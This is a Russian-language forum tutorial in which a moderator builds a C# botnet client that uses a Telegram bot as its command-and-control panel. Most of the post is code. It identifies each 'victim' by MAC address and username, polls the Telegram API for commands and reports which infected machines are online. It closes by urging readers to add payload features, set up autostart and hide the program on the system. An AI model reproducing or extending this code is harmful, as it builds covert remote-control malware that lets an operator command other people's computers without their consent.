Телеграм ботнет (пример)

Тема в разделе "Программирование", создана пользователем Amazon, 5 авг 2018.

  1. Amazon

    Amazon
    Expand Collapse
    Модератор
    Команда форума

    Регистрация:
    31 мар 2018
    Сообщения:
    441
    Симпатии:
    159
    Розыгрышей:
    0
    FT Coin:
    $81,60
    Сегодня я вам покажу простой пример необычного ботнета. Почему необычного? Да просто потому что Панелью управления у нас будет служить телеграм.
    Писать я буду без лишних библиотек, так как нам нужен маленький вес(единственное использую найденный мной класс), и использовать framework 3.5.
    Давайте начнем. Идем в телеграм, находим @BotFather и создаем нашего бота. В конце нам выдадут токен, его то мы и сохраняем. Переходим непосредственно к кодингу.

    Создаем консольный проект и объявляем переменные:
    static string token = "546651652:AAGrDpQwN9uKqqwWk0nWzChRRfqT_31234"; // тут должен быть ваш токен который вам выдал BotFather.
    static string UrlApiBot = "https://api.telegram.org/bot"; //адрес телеграм API к которому мы будем обращаться.
    static int offset = 0; //учет просмотра обновлений.

    Далее описываем две функции GET и GetMACAddress:

    Код:
    static string GET(string URL)
            {
                    WebRequest req = WebRequest.Create(URL);
                    WebResponse resp = req.GetResponse();
                    Stream stream = resp.GetResponseStream();
                    StreamReader sr = new StreamReader(stream);
                    string OUT = sr.ReadToEnd();
                    return OUT;
            }
    Код:
      static string GetMACAddress()
            {
                NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();
                String sMacAddress = string.Empty;
                foreach (NetworkInterface adapter in nics)
                {
                    if (sMacAddress == String.Empty)
                    {
                        IPInterfaceProperties properties = adapter.GetIPProperties();
                        sMacAddress = adapter.GetPhysicalAddress().ToString();
                    }
                }
                return sMacAddress;
            }
    GET - будет отправлять запрос на API.
    GetMACAddress - узнает мак адрес данного ПК (нужно для того, чтобы идентифицировать жертву)

    И так, чтобы наш идентификатор жертвы был уникальным давайте возьмем MAC адрес, имя юзера ПК и зашифруем в base64.
    Для этого в main пишем следующий код:
    Код:
     string appData = System.Environment.GetFolderPath(System.Environment.SpecialFolder.ApplicationData);
                var simpleTextBytes = Encoding.UTF8.GetBytes(GetMACAddress()+ System.Environment.UserName);
                string id= Convert.ToBase64String(simpleTextBytes);
    Теперь у нас в переменной id хранится уникальный идентификатор.
    создадим цикл while(true) и в теле пропишем:

    Код:
    string messages = GET(UrlApiBot + token + "/getUpdates?offset=" + (offset + 1));
                        var Json = JSON.Parse(messages);
                        foreach (JSONNode n in Json["result"].AsArray)
                        {
                            offset = n["update_id"].AsInt;
    
                            string msg = n["message"]["text"];
                            if (msg.IndexOf(id) > -1 || msg.IndexOf("All") > -1)
                            {
                                string[] comand = msg.Split(':');
    
                                switch (comand[0])
                                {
                                    case "start":
                                        GET(UrlApiBot + token + "/sendMessage?" + "chat_id=" + n["message"]["chat"]["id"] + "&text=Я получил твое сообщение START");
                                        break;
                                    case "go":
                                        GET(UrlApiBot + token + "/sendMessage?" + "chat_id=" + n["message"]["chat"]["id"] + "&text=Я получил твое сообщение GO");
                                        break;
                                }
                            }
                            if(msg == "online")
                            {
                                GET(UrlApiBot + token + "/sendMessage?" + "chat_id=" + n["message"]["chat"]["id"] + "&text="+ System.Environment.UserName + ": "+id);
                            }
                        }
                        Thread.Sleep(1000);
                    }
    Для парсинга JSON я использовал найденный мной класс SimpleJSON (не реклама). Но настоятельно рекомендую сделать десериализацию Json самим, или если не боитесь лишних .dll'ок то использовать Newtonsoft.Json.
    Тут мы парсим наше сообщение если оно имело в тексте либо слово "All", либо наш идентификатор, либо строку "online".
    Если есть совпадения то проверяем делим наше сообщение командой Split(':') на 2 переменные и вносим их в массив(немного позже поймете для чего это нужно).
    Проверяем следующее условие в swich, если первый объект массива равен "start" или "go", то отсылаем нам соответствующее сообщение и имя пк.

    Далее засыпаем на секунду (советую поставить минуту или 2) и повторяем все в цикле.

    Еще есть один нюанс! Если мы запустим бота на нескольких ПК то у нас вылетит исключение, по этому обернем тело цикла в try catch и идем тестировать:

    [​IMG]

    Таким образом мы можем отобразить всех жертв(online), дать команду всем жертвам ("команда":All), дать команду определенной жертве("команда":"идентификатор").
    Все что осталось сделать - это добавить функционал боту, добавить в автозагрузку/планировщик задач и максимально скрыть его в системе.

    Надеюсь статья кому-то будет полезной.
    И на последок наглядный пример написания данного бота: